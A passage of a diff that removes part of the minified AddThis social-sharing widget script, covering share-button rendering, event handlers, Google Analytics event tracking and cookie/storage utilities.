-                                        lojsonData: l,
-                                        setBlacklisted: zt,
-                                        blacklisted: u,
-                                        isBlacklisted: Lt,
-                                        renderCodeOnPage: w,
-                                        callBoost: ee,
-                                        initializeAT3Tools: y
-                                    });
-                                    var e = Nt.du.indexOf(_atr + 'wix') !== -1;
-                                    var t = Nt.du.indexOf(_atr) !== -1;
-                                    (t && !e) ||
-                                    _ate.sub ||
-                                        ((s = _ate.track.ctf()),
-                                            (s.src = Et + '#' + ve(d)),
-                                            qt.createPostMan(s, Et),
-                                            qt.getContainer().appendChild(s),
-                                            _ate.track.stf(s));
-                                }
-                            }),
-                            (un._pmh.flushed = 1),
-                            un._pmh.flush(_ate.pmh, _ate),
-                            'en' !== Y() && ae.get();
-                    }
-                }
-                function o(e) {
-                    return e.indexOf('&') > -1 && (e = e.replace(/&([aeiou]).+;/g, '$1')), e;
-                }
-                function r(e, t) {
-                    if (t && e !== t)
-                        for (var n in t) e[n] === kn && (e[n] = t[n]);
-                }
-                function s() {
-                    if (_ate.bro.msi && !dn.getElementById('at300bhoveriefilter')) {
-                        var e = dn.getElementsByTagName('head')[0];
-                        var t = dn.ce('style');
-                        var n = dn.createTextNode('.at300b:hover,.at300bs:hover {filter:alpha(opacity=80);}');
-                        (t.id = 'at300bhoveriefilter'),
-                        (t.type = 'text/css'),
-                        t.styleSheet ? (t.styleSheet.cssText = n.nodeValue) : t.appendChild(n),
-                            e.appendChild(t);
-                    }
-                }
-                function d(e) {
-                    var t = _ate.util.parent(e, '.addthis_toolbox');
-                    return (t.className || '').search(/32x32/i) > -1 || (e.className || '').search(/32x32/i) > -1;
-                }
-                function u(e) {
-                    var t = _ate.util.parent(e, '.addthis_toolbox');
-                    return (t.className || '').search(/20x20/i) > -1 || (e.className || '').search(/20x20/i) > -1;
-                }
-                function c(e) {
-                    var t = (e.parentNode || {}).className || '';
-                    var n =
-                        e.conf && e.conf.product && t.indexOf('toolbox') === -1 ?
-                        e.conf.product :
-                        'tbx' + (e.className.indexOf('32x32') > -1 || t.indexOf('32x32') > -1 ? '32' : '') + '-300';
-                    return _ate.track.apc(n), n;
-                }
-                function l(e, t) {
-                    var n = {};
-                    for (var a in e) t[a] ? (n[a] = t[a]) : (n[a] = e[a]);
-                    return n;
-                }
-                function f(e, t, n, a) {
-                    var i = document.ce('img');
-                    return (i.width = e), (i.height = t), (i.border = 0), (i.alt = n), (i.src = a), i;
-                }
-                function p(e) {
-                    var t = (e || {}).services_custom;
-                    if (t) {
-                        t instanceof Array || (t = [t]);
-                        for (var n = 0; n < t.length; n++) {
-                            var a = t[n];
-                            a.name &&
-                                a.icon &&
-                                a.url &&
-                                ('object' == typeof a.url && (a.url = _ate.util.toKV(a.url)),
-                                    (a.code = a.url = a.url.replace(/ /g, '')),
-                                    (a.code = a.code.split('//').pop().split('?').shift().split('/').shift().toLowerCase()),
-                                    (Cn[a.code] = a));
-                        }
-                    }
-                }
-                function h(e, t) {
-                    return Cn[e] || {};
-                }
-                function m(e, t, a, i) {
-                    if ((Xe(), e)) {
-                        (t = t || {}), (a = a || {});
-                        var s = n(490);
-                        var m = t.conf || _n;
-                        var g = t.share || vn;
-                        var _ = tn('mob') ? null : a.onmouseover;
-                        var v = a.onmouseout;
-                        var b = a.onclick;
-                        var w = a.internal;
-                        var x = O;
-                        var y = a.singleservice || m.service;
-                        var k = n(488);
-                        y
-                            ?
-                            b === x &&
-                            (b = jn[y] ?
-                                (e, t, n) => {
-                                    var a = l(n, Mn);
-                                    return addthis_open(e, y, a.url, a.title, l(t, On), a);
-                                } :
-                                Nn[y] ?
-                                (e, t, n) => {
-                                    var a = l(n, Mn);
-                                    return addthis_sendto(y, l(t, On), a);
-                                } :
-                                Dn[y] ?
-                                (e, t, n) => {
-                                    var a = l(n, Mn);
-                                    return s(y, a, t, 735);
-                                } :
-                                null) :
-                            a.noevents ||
-                            (a.nohover || addthis_config.ui_click ?
-                                b === x && (b = (e, t, n) => addthis_open(e, '', null, null, l(t, On), l(n, Mn))) :
-                                (_ === x &&
-                                    (_ = (e, t, n) => {
-                                        if ((/button_(?:compact|email|link)\b/.test(e.className) && xt(n), !addthis_config.ui_disable))
-                                            return addthis_open(e, '', null, null, l(t, On), l(n, Mn));
-                                    }),
-                                    v === x && (v = (e) => addthis_close()),
-                                    b === x && (b = (e, t, n) => addthis_sendto('more', l(t, On), l(n, Mn))))),
-                            (e = _ate.util.select(e));
-                        for (var C = 0; C < e.length; C++) {
-                            var M = e[C];
-                            var A = M.parentNode;
-                            at();
-                            if (
-                                ((oattr = Pt(M, m, g, !i) || {}),
-                                    r(oattr.conf, _n),
-                                    r(oattr.share, vn),
-                                    (M.conf = oattr.conf),
-                                    (M.share = oattr.share),
-                                    M.conf.ui_language && ae.get(M.conf.ui_language),
-                                    p(M.conf),
-                                    Bt(M) && Ft(Q()),
-                                    A &&
-                                    A.className.indexOf('toolbox') > -1 &&
-                                    0 === (M.conf.product || '').indexOf('men') &&
-                                    ((M.conf.product = 'tbx' + (A.className.indexOf('32x32') > -1 ? '32' : A.className.indexOf('20x20') > -1 ? '20' : '') + '-300'),
-                                        _ate.track.apc(M.conf.product)),
-                                    y && 'more' !== y && (M.conf.product = c(M)),
-                                    (M.conf && (M.conf.ui_disable || M.conf.ui_click || M.conf.ui_window_panes)) || _ate.bro.ipa ?
-                                    b &&
-                                    (y ?
-                                        (M.onclick = function() {
-                                            return b(this, this.conf, this.share);
-                                        }) :
-                                        M.conf.ui_window_panes ?
-                                        (M.onclick = function() {
-                                            return addthis_sendto('more', this.conf, this.share);
-                                        }) :
-                                        (M.onclick = function() {
-                                            return _ate.bro.iph || _ate.bro.wph || _ate.bro.dro || addthis_config.ui_disable ?
-                                                addthis_sendto('more', this.conf, this.share) :
-                                                addthis_open(this, '', null, null, this.conf, this.share);
-                                        })) :
-                                    ((_ate.maf = _ate.maf || {}),
-                                        (_ate.maf.home = this),
-                                        (_ate.maf.key = null),
-                                        (_ate.maf.shift = null),
-                                        (_ || 'more' === y) &&
-                                        (_ ||
-                                            tn('mob') ||
-                                            (_ = (e, t, n) => {
-                                                xt(n);
-                                            }),
-                                            (M.onfocus = function() {
-                                                if (!n(535)()) {
-                                                    for (_ate.maf.sib = this.nextSibling; _ate.maf.sib && 3 === _ate.maf.sib.nodeType && _ate.maf.sib.nextSibling;)
-                                                        _ate.maf.sib = _ate.maf.sib.nextSibling;
-                                                    if (!_ate.maf.sib || 3 === _ate.maf.sib.nodeType) {
-                                                        var e = this.parentNode;
-                                                        if (e)
-                                                            for (; e.nextSibling && 3 === e.nodeType;) e = e.nextSibling;
-                                                        else
-                                                            for (e = document.body.firstChild || document.body; 3 === e.nodeType && e.nextSibling;)
-                                                                e = e.nextSibling;
-                                                        _ate.maf.sib = e;
-                                                    }
-                                                    return (
-                                                        (_ate.maf.sib.onfocus = () => {
-                                                            _ate.maf.sib.tabIndex = '';
-                                                        }),
-                                                        _ ? _(this, this.conf, this.share) : void 0
-                                                    );
-                                                }
-                                            }),
-                                            tn('mob') || (M.onmouseover = M.onfocus)),
-                                        v &&
-                                        (M.onmouseout = function() {
-                                            return v(this);
-                                        }),
-                                        b &&
-                                        (M.onclick = function(e) {
-                                            var t = this.conf || M.conf;
-                                            var n = this.share || M.share;
-                                            return (
-                                                P(e || window.event || {}),
-                                                /addthis_button_(compact|expanded|more|bkmore)/.test(M.className) && nn() ?
-                                                jt(At('more', 0, n, t), '_blank') :
-                                                b(M, t, n)
-                                            );
-                                        }),
-                                        (v || b) &&
-                                        ((M.onkeypress = M.onkeydown =
-                                                function(e) {
-                                                    if (!e) var e = window.event;
-                                                    e.shiftKey && (_ate.maf.shift = !0),
-                                                        e.keyCode ? (_ate.maf.key = e.keyCode) : e.which && (_ate.maf.key = e.which),
-                                                        13 === _ate.maf.key ? (_ate.maf.pre = this) : (_ate.maf.pre = null);
-                                                }),
-                                            (M.onblur = function(e) {
-                                                if (9 === _ate.maf.key && _ate.maf.firstCompact && !_ate.maf.shift && this.className.indexOf('compact') > -1)
-                                                    (_ate.maf.key = null), (_ate.maf.acm = !0), document.getElementById(_ate.maf.firstCompact).focus();
-                                                else if (((_ate.maf.key = null), (_ate.maf.shift = null), v)) return v(this);
-                                            }))),
-                                    'a' === M.tagName.toLowerCase())
-                            ) {
-                                var E = M.share.url || addthis_share.url;
-                                if ((_ate.usu(E), y)) {
-                                    var S = h(y, M.conf);
-                                    var I = M.firstChild;
-                                    if (S && S.code && S.icon && I && (I.className.indexOf('at300bs') > -1 || I.className.indexOf('at4-icon') > -1)) {
-                                        var T = '16';
-                                        d(M, 1) ?
-                                            ((I.className = I.className.split('at15nc').join('')), (T = '32')) :
-                                            u(M, 1) && ((I.className = I.className.split('at15nc').join('')), (T = '20')),
-                                            (I.style.backgroundImage = 'url(' + S.icon + ')'),
-                                            (I.style.backgroundRepeat = 'no-repeat'),
-                                            (I.style.backgroundPosition = 'top left'),
-                                            (I.style.backgroundColor = 'transparent'),
-                                            I.style.cssText || (I.style.cssText = ''),
-                                            (I.style.cssText =
-                                                'line-height:' +
-                                                T +
-                                                'px;width:' +
-                                                T +
-                                                'px;height:' +
-                                                T +
-                                                'px;background-size:' +
-                                                T +
-                                                'px;background-image:' +
-                                                I.style.backgroundImage +
-                                                ';background-repeat:' +
-                                                I.style.backgroundRepeat +
-                                                ';background-position:' +
-                                                I.style.backgroundPosition +
-                                                ';background-color:' +
-                                                I.style.backgroundColor +
-                                                ';');
-                                    }
-                                    if (Nn[y])
-                                        ('mailto' === y ||
-                                            ('email' === y && (M.conf.ui_use_mailto || _ate.bro.iph || _ate.bro.wph || _ate.bro.ipa || _ate.bro.dro))) &&
-                                        ((M.onclick = () => {
-                                                (M.share.xid = Je.makeCUID()),
-                                                (new Image().src = At('mailto', 0, M.share, M.config)),
-                                                _ate.gat(y, E, M.conf, M.share);
-                                            }),
-                                            (M.href = k(M.share, M.config || M.conf)),
-                                            un.ems.push(M));
-                                    else {
-                                        if (a.follow) {
-                                            if (
-                                                ('twitter' !== y ? (M.href = M.share.followUrl) : (M.href = '//twitter.com/' + M.share.userid),
-                                                    (M.conf = M.conf || {}),
-                                                    (M.conf.follow = !0),
-                                                    (M.onclick = (e) => {
-                                                        if ((_ate.share.track(y, 1, M.share, M.conf), 'twitter' === y))
-                                                            return e && e.preventDefault(), F(M.share.followUrl, 520, 520);
-                                                    }),
-                                                    M.children && 1 === M.children.length && M.parentNode && M.parentNode.className.indexOf('toolbox') > -1)
-                                            ) {
-                                                var j = document.ce('span');
-                                                (j.className = 'addthis_follow_label'), (j.innerHTML = Yt(y).replace('_follow', '')), M.appendChild(j);
-                                            }
-                                        } else _ate.share.externEvents(y, M, a) || M.noh || (M.onclick = (e) => (B(y, M.share), !1));
-                                        M.conf.follow || un.addEvents(M, y, E), M.noh || M.target || (M.target = '_blank'), un.links.push(M);
-                                    }
-                                    if (!M.title || M.at_titled) {
-                                        var N = Yt(y, !S);
-                                        Tn[y] &&
-                                            In.push({
-                                                link: M,
-                                                title: y
-                                            }),
-                                            (M.title = o(a.follow ? 'Follow on ' + N : Tn[y] || N)),
-                                            (M.at_titled = 1);
-                                    }
-                                    M.href || (M.href = '#');
-                                } else M.conf.product && M.parentNode.className.indexOf('toolbox') === -1 && c(M);
-                            }
-                            var D;
-                            switch (w) {
-                                case 'img':
-                                    if (!M.hasChildNodes()) {
-                                        var R = Y();
-                                        var L = _ate.ivl(R);
-                                        L ? 1 !== L && (R = L) : (R = 'en'),
-                                            (D = f(_ate.iwb(R) ? 150 : 125, 16, 'Share', _atr + 'static/btn/v2/lg-share-' + R.substr(0, 2) + '.gif'));
-                                    }
-                            }
-                            D && M.appendChild(D);
-                        }
-                    }
-                }
-                function g(e, t, n, a, i, o, r) {
-                    if (!e._iss) {
-                        var s;
-                        var d;
-                        var u;
-                        var c;
-                        var l;
-                        var f;
-                        var p =
-                            (e.className || '', {
-                                pinterest: 'pinterest_share'
-                            });
-                        bn ? (s = e.parentNode._atsharedconf || {}) : ((bn = 1), (e.parentNode._atsharedconf = s = _ate.share.services.init(e.conf))),
-                            e.parentNode.services || (e.parentNode.services = {}),
-                            (d = s.services_exclude || ''),
-                            (c = D.getPopServices()),
-                            (l = e.parentNode.services),
-                            (f = _ate.util.unqconcat((window.addthis_options || '').replace(',more', '').split(','), c.split(',')));
-                        do(u = f[t++]), p[u] && (u = p[u]);
-                        while (t < f.length && (d.indexOf(u) > -1 || l[u]));
-                        l[u] &&
-                            _ate.util.each(Jt.list, (e, t) => {
-                                if (!l[e] && d.indexOf(e) === -1) return (u = e), !1;
-                            }),
-                            (e._ips = 1),
-                            e.className.indexOf(u) === -1 && ((e.className = 'addthis_button_' + u + ' ' + e.className), (e._iss = 1)),
-                            (e.parentNode.services[u] = 1),
-                            n && _([e], a, i, !0, r);
-                    }
-                }
-                function _(e, t, a, i, o) {
-                    var s;
-                    var l;
-                    var f = n(71);
-                    var p = n(455);
-                    var _ = p.createCssServiceIcon;
-                    var v = (e, t, n) => {
-                        var a;
-                        return (
-                            (a = d(e) ? 32 : u(e) ? 20 : 16),
-                            n && n.code ?
-                            ((l = _(n.code, n.icon, a)), (s = p(n.code, l))) :
-                            (s = f({
-                                code: t,
-                                size: a + 'px'
-                            })),
-                            s
-                        );
-                    };
-                    E('render_toolbox', {
-                        once: !0
-                    });
-                    for (var b = 0; b < e.length; b++) {
-                        var w = e[b];
-                        var x = !(!w || !w.parentNode) && /addthis_counter[^_]/.test(w.parentNode.className);
-                        var y = document;
-                        if (!(null === w || x || (i === !1 && w.ost))) {
-                            var k = Pt(w, t, a, !o);
-                            var C = 0;
-                            var O = w.className || '';
-                            var M = O.match(/addthis_button_([\w\-\.]+)(?:\s|$)/);
-                            var A = O.match(/addthis_counter_([\w\.]+)(?:\s|$)/);
-                            var S = {};
-                            var I = M && M.length ? M[1] : 0;
-                            var T = A && A.length ? A[1] : 0;
-                            var j = h(I);
-                            if ((r(k.conf, _n), r(k.share, vn), I && !_ate.share.extern(I, w, k))) {
-                                if (I.indexOf('preferred') > -1) {
-                                    if (w._iss || w._iwps) continue;
-                                    M = O.match(/addthis_button_preferred_([0-9]+)(?:\s|$)/);
-                                    var N = (M && M.length ? Math.min(16, Math.max(1, parseInt(M[1]))) : 1) - 1;
-                                    if (
-                                        ((w.conf && !o) || (w.conf = k.conf || w.conf || {}),
-                                            (w.share && !o) || (w.share = k.share || w.share || {}),
-                                            (w.conf.product = 'tbx-300'),
-                                            c(w),
-                                            !wn)
-                                    ) {
-                                        var D = g.bind(w, w, N, !0, t, a, i, o);
-                                        _ate.ed.addEventListener('addthis-internal.data.ssh', D), setTimeout(D, 2e3), (w._iwps = 1);
-                                        continue;
-                                    }
-                                    g(w, N, !0);
-                                } else if (I.indexOf('follow') > -1)
-                                    'google_follow' === I ? (w.title = 'Follow on Google') : (I = I.split('_follow').shift()),
-                                    (S.follow = !0),
-                                    _ate.track.apc('flw-300'),
-                                    (k.share.followUrl = Xt(I, k.share.userid, k.share.usertype, k.share) || k.share.url);
-                                else if (!(Qt(I) || (j && j.code))) continue;
-                                var R = w.childNodes;
-                                0 === R.length ?
-                                    ((s = v(w, I, j)), w.appendChild(s)) :
-                                    1 === R.length ?
-                                    w.firstChild && 3 === w.firstChild.nodeType && ((s = v(w, I, j)), w.insertBefore(s, w.firstChild)) :
-                                    (w.firstChild && 3 === w.firstChild.nodeType && '\n' === w.firstChild.textContent) || (C = 1),
-                                    'compact' === I || 'expanded' === I ?
-                                    (C || O.indexOf('at300') !== -1 || (w.className += ' at300m'),
-                                        k.conf.product && k.conf.product.indexOf('men-') === -1 && (k.conf.product += ',men-300'),
-                                        w.href || (w.href = '#'),
-                                        w.parentNode && w.parentNode.services && (k.conf.parentServices = w.parentNode.services),
-                                        'expanded' === I &&
-                                        ((S.nohover = !0),
-                                            (S.singleservice = 'more'),
-                                            tn('mob') ||
-                                            (S.onmouseover = (e, t, n) => {
-                                                xt(n);
-                                            }),
-                                            (S.onclick = (e, t, n) => {
-                                                addthis_sendto('more', t, n);
-                                            }))) :
-                                    ((w.parentNode.className || '').indexOf('toolbox') > -1 &&
-                                        (w.parentNode.services || (w.parentNode.services = {}), (w.parentNode.services[I] = 1)),
-                                        C || O.indexOf('at300') !== -1 || (w.className += ' at300b'),
-                                        (S.singleservice = I),
-                                        en(I) &&
-                                        (tn('mob') ||
-                                            (S.onmouseover = (e, t, n) => {
-                                                xt(n);
-                                            }),
-                                            (S.onclick = ((e) => (t, n, a) => {
-                                                addthis_sendto(e, n, a);
-                                            })(I)))),
-                                    w._ips && (S.issh = !0),
-                                    m([w], k, S, o),
-                                    (w.ost = 1),
-                                    c(w);
-                            } else if (T) {
-                                if (w.ost) continue;
-                                w.ost = 1;
-                                var L = y.ce('a');
-                                (L.className = 'addthis_native_counter addthis_counter addthis_bubble_style'),
-                                (w.className += ' addthis_native_counter_parent'),
-                                (s = v(w, T, j)),
-                                w.appendChild(s),
-                                    w.appendChild(L),
-                                    (k.conf.service = T.indexOf('pinterest') > -1 ? 'pinterest_share' : T),
-                                    m([w], k, S, o),
-                                    un.counter(L, k.conf, k.share);
-                            }
-                        }
-                    }
-                }
-                function v(e, t, n, a) {
-                    if ('facebook_unlike' !== e) {
-                        n = n || {};
-                        var i = n.data_ga_tracker;
-                        var o = n.data_ga_property;
-                        if (
-                            (o &&
-                                ('object' == typeof window._gat && _gat._createTracker ?
-                                    (i = _gat._createTracker(o, 'addThisTracker')) :
-                                    'object' == typeof window._gaq && _gaq._getAsyncTracker ?
-                                    (i = _gaq._getAsyncTracker(o)) :
-                                    window._gaq instanceof Array &&
-                                    _gaq.push([
-                                        () => {
-                                            _ate.gat(e, t, n, a);
-                                        }
-                                    ])),
-                                i && 'string' == typeof i && (i = window[i]),
-                                !i && window.GoogleAnalyticsObject)
-                        ) {
-                            var r = window[window.GoogleAnalyticsObject];
-                            r.getAll && (i = r.getAll());
-                        }
-                        if (i && 'object' == typeof i) {
-                            if ('more' === e || 'settings' === e) return;
-                            var s = t || (a || {}).url || Nt.du;
-                            var d = e;
-                            var u = 'share';
-                            if (
-                                (d.indexOf('_') > -1 && ((d = d.split('_')), (u = d.pop()), u.length <= 2 && (u = 'share'), (d = d.shift())),
-                                    0 === s.toLowerCase().replace('https', 'http').indexOf('http%3a%2f%2f') && (s = _duc(s)),
-                                    i[0])
-                            ) {
-                                var c = i[0].get('name');
-                                c.indexOf('gtm') !== -1 && r(c + '.send', 'event', 'addthis', e, s);
-                            }
-                            try {
-                                n.data_ga_social && i._trackSocial ?
-                                    i._trackSocial(d, u, a.url) :
-                                    i._trackEvent ?
-                                    i._trackEvent('addthis', e, s) :
-                                    n.data_ga_social ?
-                                    r('send', 'social', d, u, s) :
-                                    r('send', 'event', 'addthis', e, s);
-                            } catch (t) {
-                                try {
-                                    i._initData && i._initData(),
-                                        n.data_ga_social && i._trackSocial ?
-                                        i._trackSocial(d, u, a.url) :
-                                        i._trackEvent ?
-                                        i._trackEvent('addthis', e, s) :
-                                        n.data_ga_social ?
-                                        r('send', 'social', d, u, s) :
-                                        r('send', 'event', 'addthis', e, s);
-                                } catch (e) {}
-                            }
-                        }
-                    }
-                }
-                function b() {
-                    var e = '.addthis_';
-                    un.osrp ||
-                        ((un.osrp = 1),
-                            (vn = sn.addthis_share),
-                            (_n = sn.addthis_config),
-                            (An = dn.body),
-                            (En = rt.getElementsByClassPrefix(An, 'A', 'addthis_button_', !0, !0)),
-                            (Sn = rt.getElementsByClassPrefix(An, 'A', 'addthis_counter_', !0, !0)),
-                            s(),
-                            un.toolbox(e + 'toolbox', null, null, !0, Sn.length),
-                            un.button(e + 'button'),
-                            un.counter(e + 'counter'),
-                            un.count(e + 'count'),
-                            _(En, null, null, !1),
-                            _(Sn, null, null, !1));
-                }
-                function w() {
-                    un.layers.length ?
-                        un.layers({
-                            cfs: !0
-                        }) :
-                        (_ate.ipc = !1);
-                }
-                function x() {
-                    (U().length > 0 || (!un.layers.length && tn('mob'))) && K(), k(), b();
-                }
-                function y() {
-                    Ut.initialize(un, m, _), _adr.isReady ? x() : _adr.append(x);
-                }
-                function k() {
-                    if (!yn) {
-                        for (var e, t, n = window.addthis, a = 0, i = n.plo; a < i.length; a++)
-                            (t = i[a]),
-                            t.called ||
-                            ((e = t.ns ? ('string' == typeof t.ns ? n[t.ns] : t.ns) : n),
-                                t && t.call && e[t.call] && e[t.call].apply(t.ctx ? ('string' === t.ctx, n[t.ctx]) : this, t.args));
-                        yn = 1;
-                    }
-                }
-                function C() {
-                    if (!yn)
-                        for (var e, t = window.addthis, n = 0, a = t.plo; n < a.length; n++)
-                            (e = a[n]),
-                            'addEventListener' === e.call &&
-                            ((e.ns ? ('string' == typeof e.ns ? t[e.ns] : e.ns) : t)[e.call].apply(e.ctx ? ('string' === e.ctx, t[e.ctx]) : this, e.args),
-                                (e.called = 1));
-                }
-                n(551), n(552)(), n(553), n(555);
-                var O;
-                var M;
-                var A = n(557);
-                var E = n(562);
-                var S = n(30);
-                var I = n(14);
-                var T = n(544);
-                var j = n(564);
-                var N = n(565);
-                var D = n(324);
-                var R = n(13);
-                var L = (n(566), n(407));
-                var z = n(476);
-                var P = n(454);
-                var B = n(390);
-                var F = n(422);
-                var U = n(4);
-                var W = n(567);
-                var q = n(571);
-                var H = n(3);
-                var V = n(434);
-                var G = n(572);
-                var Z = n(573);
-                var K = n(435);
-                var J = n(574);
-                var Q = n(18);
-                var Y = n(51);
-                var $ = n(575);
-                var X = n(19);
-                var ee = n(431);
-                var te = n(576);
-                var ne = n(17);
-                var ae = n(436);
-                var ie = n(37);
-                var oe = n(397);
-                var re = n(405);
-                var se = n(577).truncationList;
-                var de = n(577).truncateURL;
-                var ue = n(578);
-                var ce = n(579);
-                var le = n(395);
-                var fe = n(559);
-                var pe = n(9);
-                var r = n(465);
-                var he = n(45);
-                var me = n(323);
-                var ge = n(10);
-                var _e = n(63);
-                var ve = n(413);
-                var be = n(8);
-                var we = n(62);
-                var xe = n(503);
-                var ye = n(34);
-                var ke = n(580);
-                var Ce = n(403);
-                var Oe = n(23).listen;
-                var Me = n(23).unlisten;
-                var Ae = n(59).getDomain;
-                var Ee = n(59).getQueryString;
-                var Se = n(59).getDomainNoProtocol;
-                var Ie = n(59).getAbsoluteFromRelative;
-                var Te = n(59).getHost;
-                var je = n(11).string;
-                var Ne = n(11).number;
-                var De = n(11).emptyObject;
-                var Re = n(568).PolyEvent;
-                var Le = n(568).EventDispatcher;
-                var ze = n(539);
-                var Pe = n(581);
-                var Be = n(462);
-                var Fe = n(419);
-                var Ue = n(13);
-                var We = n(582);
-                var qe = n(583);
-                var He = n(358);
-                var Ve = n(57);
-                var Ge = n(366);
-                var Ze = n(584);
-                var Ke = n(585);
-                var Je = n(60);
-                var Qe = n(16);
-                var Ye = n(15);
-                var $e = n(33);
-                var Xe = n(586);
-                var et = n(35);
-                var tt = n(32);
-                var nt = n(36);
-                var at = n(587);
-                var it = n(589).processAdEvents;
-                var ot = n(589).processAllScripts;
-                var rt = n(533);
-                var st = n(590);
-                var dt = n(558);
-                var ut = n(591);
-                var ct = n(592);
-                var lt = n(404);
-                var ft = n(56);
-                var pt = n(593);
-                var ht = n(594);
-                var mt = n(463);
-                var gt = n(352);
-                var _t = n(354);
-                var vt = n(355);
-                var bt = n(353);
-                var wt = n(350);
-                var xt = n(381);
-                var yt = n(46);
-                var kt = n(351);
-                var Ct = n(545);
-                var Ot = n(461);
-                var Mt = n(595);
-                var At = n(401);
-                var Et = n(596).source;
-                var St = n(598);
-                var It = n(621);
-                var Tt = n(622);
-                var jt = n(474);
-                var Nt = n(64);
-                var Dt = n(50);
-                var Rt = n(623);
-                var Lt = n(607).isBlacklisted;
-                var zt = n(607).setBlacklisted;
-                var Pt = n(625);
-                var Bt = n(429).elementRequiresFacebookSDK;
-                var Ft = n(430);
-                var Ut = n(627);
-                var Wt = n(632);
-                var qt = n(633);
-                var Ht = n(634);
-                var Vt = n(635);
-                var Gt = n(55);
-                var Zt = n(48);
-                var Kt = n(58);
-                var Jt = n(357);
-                var Qt = n(636);
-                var Yt = n(72);
-                var $t = n(638);
-                var Xt = n(494);
-                var en = n(379);
-                var tn = n(5);
-                var nn = n(402);
-                var an = n(569);
-                var on = n(639);
-                var rn = n(642);
-                var sn = window;
-                var dn = document;
-                try {
-                    (M = window.location),
-                    (0 !== M.protocol.indexOf('file') && 0 !== M.protocol.indexOf('safari-extension') && 0 !== M.protocol.indexOf('chrome-extension')) ||
-                    (_atr = 'http:' + _atr),
-                    M.hostname.indexOf('localhost') !== -1 && (_atc.loc = 1);
-                } catch (e) {}
-                var un = (navigator.userAgent.toLowerCase(), window.addthis || {});
-                var cn = tn;
-                if (((dn.ce = dn.createElement), (dn.gn = dn.getElementsByTagName), window._ate)) _ate.inst++;
-                else {
-                    window._ate = {
-                        rand: (() => {
-                            var e;
-                            if ((fe && (e = localStorage.getItem('at-rand')), isNaN(Number(e)) || null === e)) {
-                                e = Math.random().toString();
-                                try {
-                                    localStorage.setItem('at-rand', e);
-                                } catch (t) {
-                                    e = '0';
-                                }
-                            }
-                            return Number(e);
-                        })(),
-                        bro: cn,
-                        wlp: (M || {}).protocol,
-                        dl: dn.location,
-                        unj: an,
-                        upm: le,
-                        uls: fe,
-                        bamp: _atc.bamp - Math.random(),
-                        ab: '-',
-                        inst: 1,
-                        wait: n(406),
-                        tmo: null,
-                        sub: pt(),
-                        dbm: 0,
-                        uid: null,
-                        api: {},
-                        ad: {},
-                        data: {},
-                        hash: Nt.hash,
-                        refresh: on
-                    };
-                    var ln = lt(_ate);
-                    var fn = n(440)(_ate);
-                    if (
-                        ((_ate.evl = ue),
-                            (_ate.util = {
-                                unqconcat: me,
-                                reduce: pe,
-                                filter: yt,
-                                slice: ge,
-                                strip: _e,
-                                extend: be,
-                                toKV: ve,
-                                rtoKV: we,
-                                fromKV: ye,
-                                rfromKV: xe,
-                                otoCSV: ke,
-                                listen: Oe,
-                                map: he,
-                                unlisten: Me,
-                                gUD: Ae,
-                                gUQS: Ee,
-                                clone: Ce,
-                                mrg: r,
-                                rel2abs: Ie,
-                                isEmptyObj: De,
-                                isString: je,
-                                isNumber: Ne,
-                                getDomainFromURL: Se,
-                                preventDefaultEvent: P,
-                                misc: {}
-                            }),
-                            (_ate.event = {
-                                PolyEvent: Re,
-                                EventDispatcher: Le
-                            }),
-                            (_ate.ed = new Le(_ate)),
-                            (_adr = ze),
-                            (_ate.plo = U()),
-                            (_ate.lad = H),
-                            (_ate.pub = Gt),
-                            (_ate.usu = Pe),
-                            (_ate.ver = Be),
-                            (_ate.rsu = Fe),
-                            !_atc.ost)
-                    ) {
-                        sn.addthis_conf || (sn.addthis_conf = {}),
-                            M && (M.href.indexOf('_at_test300') > -1 || M.href.indexOf('_addthis_upgrade_test') > -1) && (_atc.ver = 300);
-                        for (var pn in addthis_conf) addthis_conf.hasOwnProperty(pn) && (_atc[pn] = addthis_conf[pn]);
-                        _atc.ost = 1;
-                    }
-                    (_ate.log = Ue),
-                    (_ate.ckv = ye(document.cookie, ';')),
-                    (_ate.cookie = {
-                        read: Zt.read,
-                        write: Zt.write,
-                        kill: Zt.kill,
-                        rck: Zt.read,
-                        sck: Kt.sck,
-                        kck: Kt.kck,
-                        cww: Kt.cww,
-                        gov: Kt.gov,
-                        isgv: Kt.isgv,
-                        ssc: We,
-                        KV: kt,
-                        tag: qe,
-                        view: He,
-                        visit: Ve
-                    }),
-                    (_ate.mun = Ge),
-                    (_ate.getVisibility = Ze),
-                    (_ate.math = {}),
-                    (_ate.math.murmur32 = Ke),
-                    (un.params = st(et(Nt.search), un, _ate)),
-                    be(_ate.ad, {
-                            type: n(603),
-                            ref: {
-                                r_ondomain: _t.ON_DOMAIN,
-                                r_offdomain: _t.OFF_DOMAIN,
-                                r_direct: _t.DIRECT,
-                                r_search: _t.SEARCH
-                            },
-                            gub: mt,
-                            clr: vt,
-                            iss: gt,
-                            fst: bt
-                        }),
-                        be(_ate.data, {
-                            storage: {
-                                all: dt.getAll,
-                                clear: dt.removeAll,
-                                add: dt.add,
-                                get: dt.get,
-                                remove: dt.remove,
-                                exists: dt.exists,
-                                preRemove: dt.removeByPrefix
-                            },
-                            bloom: {
-                                filter: ut,
-                                library: ct(dt, _ate.ich)
-                            }
-                        }),
-                        be(_ate, {
-                            track: {
-                                ran: L,
-                                fcv: ln.formatCustomEvent,
-                                mgu: ln.mungeURL,
-                                ssid: ln.ssid,
-                                sta: ln.sta,
-                                uns: ln.uns,
-                                lpx: ln.loadPixel,
-                                sxm: ln.scheduleTransmit,
-                                dropPixel: ft,
-                                cur: Ot.clickifyURL,
-                                extractOurParameters: Ot.extractOurParameters,
-                                dcu: Ot.declickifyURL,
-                                gcc: Ot.generateClickbackCode,
-                                cpf: Ot.clickPrefix,
-                                ctp: Ot.clickTrackableProduct,
-                                ich: Ot.isClickHash,
-                                ict: Ot.isClickTrackingEnabled,
-                                hist: {
-                                    log: ht.logURL,
-                                    seenBefore: ht.seenBefore
-                                },
-                                ts: {
-                                    get: wt.getTrafficSource,
-                                    gst: wt.getSearchTerms,
-                                    set: wt.setState,
-                                    reset: wt.resetState
-                                }
-                            },
-                            iwb: $,
-                            ivl: X,
-                            gfl: ee,
-                            ggl: te,
-                            trim: ie,
-                            trl: se,
-                            truncateURL: de,
-                            opp: re,
-                            ajs: oe,
-                            ao: V,
-                            ac: G,
-                            as: Z
-                        }),
-                        be(_ate.util, {
-                            scb: fn.storeCallback,
-                            storeCallback: fn.storeCallback,
-                            getCallbackCallTime: fn.getCallbackCallTime,
-                            ghp: $e,
-                            gqp: et,
-                            atob: Qe.atob,
-                            btoa: Qe.btoa,
-                            geo: {
